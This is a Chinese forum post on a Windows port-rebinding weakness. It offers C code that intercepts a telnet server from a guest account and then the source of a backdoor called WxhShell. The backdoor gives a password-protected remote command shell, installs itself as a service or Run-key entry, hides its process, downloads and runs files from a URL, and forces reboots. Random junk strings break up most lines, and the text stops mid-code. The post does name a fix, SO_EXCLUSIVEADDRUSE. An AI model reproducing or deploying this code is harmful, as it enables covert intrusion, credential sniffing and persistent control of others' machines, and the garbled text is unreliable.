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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: g 4G&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0Ihp`QGU:  
>hHjDYjbf  
  saddr.sin_family = AF_INET; 9)9p<(b $  
ry)g<OA  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); d}2tqPya  
DO` K_B  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); SVB> 1s9F  
-.<fGhmU  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R/Y9t8kk  
6[b'60CuZL  
  这意味着什么?意味着可以进行如下的攻击: .0+=#G>  
a|?&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 t.Q}V5t{g  
T5H[~b|9-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) xVw9_il2a  
RdaAS{>Sk  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Mm7;'Zbg  
R!{^qHb  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6Y9FU  
O =m_P}K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 p)2 !_0  
pn"TFapJA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 k@:M#?(F  
cBcfGNTJ~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^F\RM4|,  
ggn C #$  
  #include t7#lRp&  
  #include XK#~w:/fB  
  #include ,'!x 9 `  
  #include    y#tuwzE  
  DWORD WINAPI ClientThread(LPVOID lpParam);   d?[gd(O  
  int main() r:N =?X`N  
  { @>:V?  
  WORD wVersionRequested; ZW+M<G  
  DWORD ret; 4f~ c# 0?  
  WSADATA wsaData; H#/ #yVw  
  BOOL val; ]]Bq te  
  SOCKADDR_IN saddr; oW ! Z= ;  
  SOCKADDR_IN scaddr; J)o.@+Q}  
  int err; n0)0"S|y1  
  SOCKET s; hSkI]%  
  SOCKET sc; )T0%<(J  
  int caddsize; A$ 2AYQ  
  HANDLE mt; ?`T0zpC  
  DWORD tid;   3(o}ulp  
  wVersionRequested = MAKEWORD( 2, 2 ); S2+X/YeB  
  err = WSAStartup( wVersionRequested, &wsaData ); t.\<Q#bN#  
  if ( err != 0 ) { #Sg< 9xsW  
  printf("error!WSAStartup failed!\n"); Q' b@5o  
  return -1; b6(LoN.  
  } qe/dWJBa  
  saddr.sin_family = AF_INET; ;D8175px;  
   ,]Gi942  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v 79k{<Ln  
+jD*Jtb<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xVnk]:c  
  saddr.sin_port = htons(23); VsU*yG a  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) npCiqO  
  { @"h @4q/W  
  printf("error!socket failed!\n"); 7=hISQMsVP  
  return -1; h/goV  
  } Ot<vn34mt:  
  val = TRUE; OUtXu7E$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 QH5[}zs8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8el\M/u{  
  { `*Ju0)g1  
  printf("error!setsockopt failed!\n"); x*#9\*@EI  
  return -1; 9cqq"-$G`  
  } ?y/LMja  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "7z1V{ ;Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 XM#xxf* Y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O3JBS^;V2  
w}rsboU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) bC h  
  { 1F,>siuh ,  
  ret=GetLastError(); |Y tZOQu  
  printf("error!bind failed!\n"); EEJ OJ<  
  return -1; ."u DM<  
  } aj`_* T"A  
  listen(s,2); (3VV(18  
  while(1) # ? _8 *?  
  { P1_ZGeom*  
  caddsize = sizeof(scaddr); c'}dsq\  
  //接受连接请求 ExxD w_VGT  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &;2@*#,  
  if(sc!=INVALID_SOCKET) 'DdR2  
  { Yw6^(g8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); PRi1 `% d  
  if(mt==NULL) ;oM7H*W C  
  { s&)>gE\  
  printf("Thread Creat Failed!\n"); N <e72x  
  break; pd\x^F`sk.  
  } G ~X93J  
  } L ]Y6/Q   
  CloseHandle(mt); D!WyT`T  
  } e. '6q ($3  
  closesocket(s); +t7n6  
  WSACleanup(); !v\ _<8  
  return 0; hd N[wC]  
  }   :~wU/dEEiz  
  DWORD WINAPI ClientThread(LPVOID lpParam) G?dxLRy.do  
  { IBm"VCg{Ew  
  SOCKET ss = (SOCKET)lpParam; cVf}8qf)  
  SOCKET sc; x_oiPu.V  
  unsigned char buf[4096]; i$gH{wn\`  
  SOCKADDR_IN saddr; 5DS'22GW`  
  long num; ,a'Y^[4k?  
  DWORD val; J e"~/+  
  DWORD ret; |PxTm  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4apaUP=Jp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   BI|YaZa+p  
  saddr.sin_family = AF_INET; ~5]%+G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); UfSqiu  
  saddr.sin_port = htons(23);  Op5S'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z,K;GZuP  
  { fWs@ZCt  
  printf("error!socket failed!\n"); )8&;Q9'o  
  return -1; 2>*b.$g  
  } @;t6Slc"~  
  val = 100; Nv5)A=6#AA  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =;(y5c  
  { $_f"NE}  
  ret = GetLastError(); ~-2Gx HO`  
  return -1; C @nA*  
  } GV0-"9uwX~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f)19sjAJk  
  { ,X}Jpi;/  
  ret = GetLastError(); uD4j.%  
  return -1; &w%--!T  
  } brEA-xNWQ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1n!xsesSc  
  { Sp/<%+2(  
  printf("error!socket connect failed!\n"); 4 Kh0evZ  
  closesocket(sc); EE5mVC&  
  closesocket(ss); CmxQb,Uls  
  return -1; 3eERY[  
  } B+2E IaI  
  while(1) +SNjU"x  
  { Xv<K>i>k  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ib-H jJ8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 * zt?y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .]YTS  
  num = recv(ss,buf,4096,0); :Z&<5  
  if(num>0) =/Ph ]f9  
  send(sc,buf,num,0); xi[\2g+  
  else if(num==0) i]15g@  
  break; ./35_Vy/O  
  num = recv(sc,buf,4096,0); i:60|ngK  
  if(num>0) 3IG<Ot9  
  send(ss,buf,num,0); (vFO'jtcB-  
  else if(num==0) #QNa| f#=  
  break; kRqe&N e  
  } gC+?5_=<  
  closesocket(ss); s63!]LDr  
  closesocket(sc); G@zJf)u}  
  return 0 ; w:+&i|H>  
  } HCw,bRxm  
,c,@WQ2:-  
N6HeZB" :  
========================================================== )&j@={0  
$wC'qV *  
下边附上一个代码,,WXhSHELL ;EQ7kuJQ?  
nJ}@9v F/  
========================================================== G!+Mu2  
Y@Ur}  
#include "stdafx.h" a}Z+"D  
h [@}} 6  
#include <stdio.h> m*.+9 6  
#include <string.h> !Ahxi);a  
#include <windows.h> c2gi 3  
#include <winsock2.h> zGNmc7  
#include <winsvc.h> G#fF("Ndu`  
#include <urlmon.h> !/e*v>3u&  
( 8X^pL  
#pragma comment (lib, "Ws2_32.lib") @b!W8c 6  
#pragma comment (lib, "urlmon.lib") yy Y\g  
~@DdN5  
#define MAX_USER   100 // 最大客户端连接数 nH<#MG BS  
#define BUF_SOCK   200 // sock buffer Lg~ll$ U  
#define KEY_BUFF   255 // 输入 buffer t.#ara{  
cn Oh j  
#define REBOOT     0   // 重启 {isL<  
#define SHUTDOWN   1   // 关机 Y?$  
hr!'  
#define DEF_PORT   5000 // 监听端口 pp{ 2[>  
q ~^!Ck+#*  
#define REG_LEN     16   // 注册表键长度 Y?3f Fg  
#define SVC_LEN     80   // NT服务名长度 \ef:H&r  
]tzF Ob  
// 从dll定义API %/ctt_p0x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >g m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W>5[_d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ac\([F-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  O4Q"2  
5YneoM]Q  
// wxhshell配置信息 qtmKX  
struct WSCFG { F0~<p[9Nx  
  int ws_port;         // 监听端口 '4SDAa2f  
  char ws_passstr[REG_LEN]; // 口令 :yRv:`r3Lt  
  int ws_autoins;       // 安装标记, 1=yes 0=no : _tt9J  
  char ws_regname[REG_LEN]; // 注册表键名 Tw7]   
  char ws_svcname[REG_LEN]; // 服务名 jwUX?`6jX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 px*1 3"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z/dhp0k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ',c~8U#q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qXhdU/ =  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C}(@cn `L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UOk\fyD2[  
~d].<Be  
}; TkJ[N4'0  
gq"d$Xh$x7  
// default Wxhshell configuration h[&"KA  
struct WSCFG wscfg={DEF_PORT, *\(z"B  
    "xuhuanlingzhe", EY:IwDA.}  
    1, AL.psw-Il  
    "Wxhshell", '_^T]fr}  
    "Wxhshell", +<j7^AEG  
            "WxhShell Service", Zazff@O *  
    "Wrsky Windows CmdShell Service", ,uAp;"YJeV  
    "Please Input Your Password: ", :W5W @8Y  
  1, JXM]tV  
  "http://www.wrsky.com/wxhshell.exe", l#`G4Vf  
  "Wxhshell.exe" ]8}51y8  
    }; 6pSi-FH  
u*TC8!n  
// 消息定义模块 R(`:~@ 3\6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wapSpSt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #{PwEX !Ct  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5nUJ9sqA  
char *msg_ws_ext="\n\rExit."; z9*e%$+S  
char *msg_ws_end="\n\rQuit."; 7/ ?QZN  
char *msg_ws_boot="\n\rReboot..."; h%krA<G9  
char *msg_ws_poff="\n\rShutdown..."; IHYLM;@L  
char *msg_ws_down="\n\rSave to "; r!+{In+Z  
Jjm#ofv  
char *msg_ws_err="\n\rErr!"; TI8r/P? ]V  
char *msg_ws_ok="\n\rOK!"; +.Ij%S[Px5  
ocFk#FW  
char ExeFile[MAX_PATH]; C+ll A  
int nUser = 0; QYboX~g~p  
HANDLE handles[MAX_USER]; IQRuqp KL  
int OsIsNt; >m>F {v  
0Gc@AG{  
SERVICE_STATUS       serviceStatus; 1^4:l!0D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^>?=L\[  
,-4NSli  
// 函数声明 <;6{R#Tuh  
int Install(void); iCE!TmDT  
int Uninstall(void); ,|{`(y/v  
int DownloadFile(char *sURL, SOCKET wsh); MQQm3VaKS  
int Boot(int flag); mK[Z#obc=  
void HideProc(void); r<ucHRO#  
int GetOsVer(void);  ch8a  
int Wxhshell(SOCKET wsl); @"-\e|[N  
void TalkWithClient(void *cs); N)H "'#-  
int CmdShell(SOCKET sock); [b:&y(  
int StartFromService(void); ZpV]X(Px(o  
int StartWxhshell(LPSTR lpCmdLine); S^eem_C  
6 Rl[M+Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (?fU l$q\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YV<y-,Io  
kh5a>OX  
// 数据结构和表定义 d+ jX49Vt  
SERVICE_TABLE_ENTRY DispatchTable[] = Uj):}xgi'  
{ N/bOl~!y  
{wscfg.ws_svcname, NTServiceMain}, mdWA5p(  
{NULL, NULL} q(?+01  
}; H#~gx_^U  
Nmj)TOEPW  
// 自我安装 1f`De`zXzr  
int Install(void) :V(LBH0  
{ BDB*>y7(  
  char svExeFile[MAX_PATH]; \8`7E1d  
  HKEY key; >fH0>W+!  
  strcpy(svExeFile,ExeFile); 68Fl/   
|9#q7kM  
// 如果是win9x系统,修改注册表设为自启动 tk&AZb,sP  
if(!OsIsNt) { l88=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {p +&Q|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b=,B Le\  
  RegCloseKey(key); `tkoS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J~m$7T3Af  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HwUaaK   
  RegCloseKey(key); um.ZAS_kmc  
  return 0; ^M'(/O1  
    }  }QFL  
  } u>*a@3$f  
} ,/\`Rc^n  
else { r#sg5aS7O|  
?zW'Hi  
// 如果是NT以上系统,安装为系统服务 k=]e7~!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V<QpC5  
if (schSCManager!=0) X:GRjoa  
{ y, l[v39  
  SC_HANDLE schService = CreateService ;6G]~}>o  
  ( D+]mKPB  
  schSCManager, 5pCicwea#  
  wscfg.ws_svcname, >C0B!MT?3%  
  wscfg.ws_svcdisp, . g#}2:3  
  SERVICE_ALL_ACCESS,  JW D`}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OrkcY39"~a  
  SERVICE_AUTO_START, f 2WVg;Z  
  SERVICE_ERROR_NORMAL, 3:,%># "  
  svExeFile, q"VmuQ  
  NULL, . >"xp6  
  NULL, q8{Bx03m6  
  NULL, LJeq{Z  
  NULL, .I`>F/Sjr  
  NULL *~PB  
  ); 2*cNd}qr  
  if (schService!=0) -wn-PB@r  
  { v;(cJ,l  
  CloseServiceHandle(schService); {sw|bLo|+  
  CloseServiceHandle(schSCManager); (JbRhcg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {!I`EN]  
  strcat(svExeFile,wscfg.ws_svcname); $bE" 3/uf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `wi+/^);  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :` SIuu~@  
  RegCloseKey(key); XRPJPwes]  
  return 0; H:G``Vq;0m  
    } #un'?]tZF  
  } $ .tT  
  CloseServiceHandle(schSCManager); B&MDn']fV/  
} Z\0wQ;}  
} Te+#  
E2zL-ft.  
return 1; }9ulHiR  
} ( #dR\Di  
0*MUe1{  
// 自我卸载 Mc?_2<u-  
int Uninstall(void) ! Vl)aL  
{ "-:H$  
  HKEY key; 1feVFRx'  
Aw7N'0K9UN  
if(!OsIsNt) { R&!;(k0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~=yU%5 s@  
  RegDeleteValue(key,wscfg.ws_regname); *$cx7yJ  
  RegCloseKey(key); Ja1`S+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m+M^we*R  
  RegDeleteValue(key,wscfg.ws_regname); J{4=:feIC?  
  RegCloseKey(key); +`flIG3RV  
  return 0; rw)!>j+&A  
  } OIFjc0  
} kiF}+,z"  
} %|4Kak]:Q  
else { 'z9 1aNG]  
[Vbd su9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /K2[`+-  
if (schSCManager!=0) s58dHnj5+  
{ WReHep  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /Igz[P^\9  
  if (schService!=0) :H>I`)bw  
  { GYtgw9 "Y  
  if(DeleteService(schService)!=0) { q>+!Ete1p  
  CloseServiceHandle(schService); GN(,`y  
  CloseServiceHandle(schSCManager); /{j._4c  
  return 0;  }se3y  
  } zSA"f_e  
  CloseServiceHandle(schService); _o w7E\70  
  } XnYX@p  
  CloseServiceHandle(schSCManager); MHp:".1  
} "Pc}-&  
} D_( NLC  
# a4OtRiI  
return 1; U `lp56  
} 1Y"9<ry  
(-J'x%2)  
// 从指定url下载文件 V}`ri~  
int DownloadFile(char *sURL, SOCKET wsh) aQHR=.S]X  
{ {^Q,G x(  
  HRESULT hr; JS03B Itt  
char seps[]= "/"; O,7S1  
char *token; <^$ppwk $  
char *file; 'PrBa[%  
char myURL[MAX_PATH]; du0o4~-  
char myFILE[MAX_PATH]; @[v,q_^8  
7'At_oG  
strcpy(myURL,sURL); |7KWa(V5I  
  token=strtok(myURL,seps); W9} ,f  
  while(token!=NULL) }T PyHq"  
  { %* K zP{  
    file=token; w)&4i$Lk6  
  token=strtok(NULL,seps); qHheF%[\5  
  } 6pb~+=3n  
Wm{ebx  
GetCurrentDirectory(MAX_PATH,myFILE); [CI0N I6F  
strcat(myFILE, "\\"); #%%!r$UL  
strcat(myFILE, file); s;l"'6:_  
  send(wsh,myFILE,strlen(myFILE),0); HNc/p4z  
send(wsh,"...",3,0); o&M.9V?~~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  2rC&  
  if(hr==S_OK) !5h8sD;  
return 0; >\~Er@  
else -awG1 4%  
return 1; hwvitD!0  
unqUs08  
} @*|UyK.   
*:+ZEFMq  
// 系统电源模块 2~QJ]qo=  
int Boot(int flag) !?).4yr  
{ ? [5>!  
  HANDLE hToken; Jqgm>\y  
  TOKEN_PRIVILEGES tkp; XM"Qs.E  
}/\`'LQ  
  if(OsIsNt) { @(*A<2;N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )FG/   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @vib54G  
    tkp.PrivilegeCount = 1; +e.w]\}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (~bx%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V )UtU L  
if(flag==REBOOT) { \Wg_ gA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z6;hFcO  
  return 0; 8lDb<i  
} /s+IstW  
else { ^~vM*.j~j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `:EhYj.   
  return 0; Z]tQmV8e  
} X<$DNRN  
  } bWlY Q  
  else { oP4+:r)LKD  
if(flag==REBOOT) { f52P1V]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JKrS;J^97v  
  return 0; &Ruq8n<  
} Z1v~tqx  
else { n53c} ^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KZcmNli&A  
  return 0; nN-S5?X#  
} Ya!%o> J%t  
} ":s_ O.  
Fsx<Sa  
return 1; X's<+hK&  
} -r3 s{HO  
i'>5vU0?3  
// win9x进程隐藏模块 HOCj* O4  
void HideProc(void) 'DpJ#w\81  
{ aHYISjZ]>  
q~W:W}z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `]@=Hx(  
  if ( hKernel != NULL ) i`+bSg  
  { XpE847!soL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kQlwl9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <Q- m &  
    FreeLibrary(hKernel); >nih:5J,ja  
  } "8cI]~ V  
8 Zp^/43  
return; t#t[cgI  
} _'L16@q  
W-&V:S{<  
// 获取操作系统版本 `JPkho  
int GetOsVer(void) )7 8T+7Kq  
{ NV9JMB{q  
  OSVERSIONINFO winfo; g|$;jQ\_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); MpZ\ j  
  GetVersionEx(&winfo); ez*QP|F*9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a@q c?  
  return 1; Qs59IZ  
  else p)?6#~9$  
  return 0; &{+0a[rN  
} \#B<'J9.`  
8,!Oup  
// 客户端句柄模块 6},[HpXRc4  
int Wxhshell(SOCKET wsl) |Rhqi  
{ Rc1k_fZ}  
  SOCKET wsh; 4:N*C7 P  
  struct sockaddr_in client; g; ] '  
  DWORD myID; V(DY!f_%  
09G47YkSy1  
  while(nUser<MAX_USER) 7X/t2Vih@  
{ zhFm2  
  int nSize=sizeof(client); aVc{ aP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rZaO^}u]  
  if(wsh==INVALID_SOCKET) return 1; b"N!#&O]  
foQo`}"5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }(ORh2Ri  
if(handles[nUser]==0) DR:$urU$  
  closesocket(wsh); 5h6o}  
else A!x&,<  
  nUser++; Kob,}NgqZ  
  } %>i:C-l8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q=BljSX  
SFDTHvXu#_  
  return 0; |.UY' B  
} !.$L=>:V  
%'HDP3  
// 关闭 socket W_Y8)KxG:L  
void CloseIt(SOCKET wsh) .)!QsBU  
{ `;;l {8  
closesocket(wsh); y3s+.5;  
nUser--; wAprksZL#  
ExitThread(0); 9T24dofkJ  
} }a6t<m`V  
V1V0T ,  
// 客户端请求句柄 #T^2=7 w  
void TalkWithClient(void *cs) NEri{qxm  
{ ^1bslCe   
!ou#g5Q@z  
  SOCKET wsh=(SOCKET)cs; r%ES#\L6+|  
  char pwd[SVC_LEN]; !V37ePFje  
  char cmd[KEY_BUFF]; 6- i.*!I 8  
char chr[1]; gtA34iw  
int i,j; JL= cIH8  
EaO@I.[  
  while (nUser < MAX_USER) { qMNW w\k  
PFh ^Z L  
if(wscfg.ws_passstr) { ;X,u   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2(xC|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -y+>^45  
  //ZeroMemory(pwd,KEY_BUFF); L EgP-s W  
      i=0; UUJQc ~=  
  while(i<SVC_LEN) { \%=\4%:  
YzI;)  
  // 设置超时 i U$ ~H  
  fd_set FdRead; r<e%;S  
  struct timeval TimeOut; 7mi!yTr}  
  FD_ZERO(&FdRead); WVy'f|3;  
  FD_SET(wsh,&FdRead); /8h=6"  
  TimeOut.tv_sec=8; pFd8p@m_2  
  TimeOut.tv_usec=0; @yaFN>w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =#b@7Yw:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lS.Adl^k  
#dA$k+3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }Q/onB t  
  pwd=chr[0]; o|(5Sr&H  
  if(chr[0]==0xd || chr[0]==0xa) { "#j}F u_!  
  pwd=0; d,"LZ>hNY*  
  break; az(<<2=  
  } smQ^(S^  
  i++; f&^(f1WO  
    } DZ8|20b  
%t9C  
  // 如果是非法用户,关闭 socket 9Yx(u 2PQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u*l|MIi6J  
} x%G3L\ 5  
/8cRPB.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o%$.8)B9F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V8?}I)#(7  
'YNaLZ20  
while(1) { 9E!le=>  
@X2*O9  
  ZeroMemory(cmd,KEY_BUFF); 11[lc2  
,kN;d}bg  
      // 自动支持客户端 telnet标准   (jgk! 6  
  j=0; !~@GIr  
  while(j<KEY_BUFF) { ff"wg\O4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N@q}eGe  
  cmd[j]=chr[0];  QHEtG2  
  if(chr[0]==0xa || chr[0]==0xd) { BX,)G HE  
  cmd[j]=0; z$32rt8{`v  
  break; 1o_kY"D<  
  } z^gJy,T  
  j++; AlSO  
    } $B+| &]a  
ly[LF1t   
  // 下载文件 yPm2??5MW>  
  if(strstr(cmd,"http://")) { wbO6Ag@))  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^PksXfk  
  if(DownloadFile(cmd,wsh)) 3^ Yc%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g,Z A\R~  
  else U=on}W3V 2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _"DS?`z6  
  } @fL ^I&++  
  else { qS!r<'F3dP  
[m t.2.  
    switch(cmd[0]) { i=8iK#2 h  
  kX 1}/l  
  // 帮助 1gEH~Jmj  
  case '?': { ${+u-Wfau  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =8kmFXo  
    break; 30Q p^)K  
  } vh9* >[i  
  // 安装 hGRj  
  case 'i': { 1SQATUV  
    if(Install()) c}x1-d8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ::L2zVq5V  
    else E-MPFL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KaGUpHw  
    break; 7p&jSOY  
    } ?0tg}0|  
  // 卸载 bdUPo+  
  case 'r': { s:`i~hjq  
    if(Uninstall()) R#(0C(FI^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +>w]T\[1~  
    else o<2GtF1"o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l?Y^3x}j  
    break; A 5?"  
    } q^@*{H  
  // 显示 wxhshell 所在路径 gwZ<$6  
  case 'p': { &dtk&P{  
    char svExeFile[MAX_PATH]; aD/Rr3v>  
    strcpy(svExeFile,"\n\r"); R{hX--|j  
      strcat(svExeFile,ExeFile); k#*-<1  
        send(wsh,svExeFile,strlen(svExeFile),0); &{iC:zp  
    break; Vs>Pv$kW  
    } gjF5~ `  
  // 重启 93-Y(Xx)bY  
  case 'b': { Fc[KIG3@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C3AWXO ^  
    if(Boot(REBOOT)) BT_]=\zi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~iw&^p|=K  
    else { VFT@Ic#]  
    closesocket(wsh); ;#B(L=/  
    ExitThread(0); 4.6$m  
    } t@RYJmW  
    break;  urp|@WZ  
    } ;D5>iek5  
  // 关机 B`tq*T%  
  case 'd': { mDD.D3RS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KaIKb=4L|  
    if(Boot(SHUTDOWN)) pA7-B>Y  
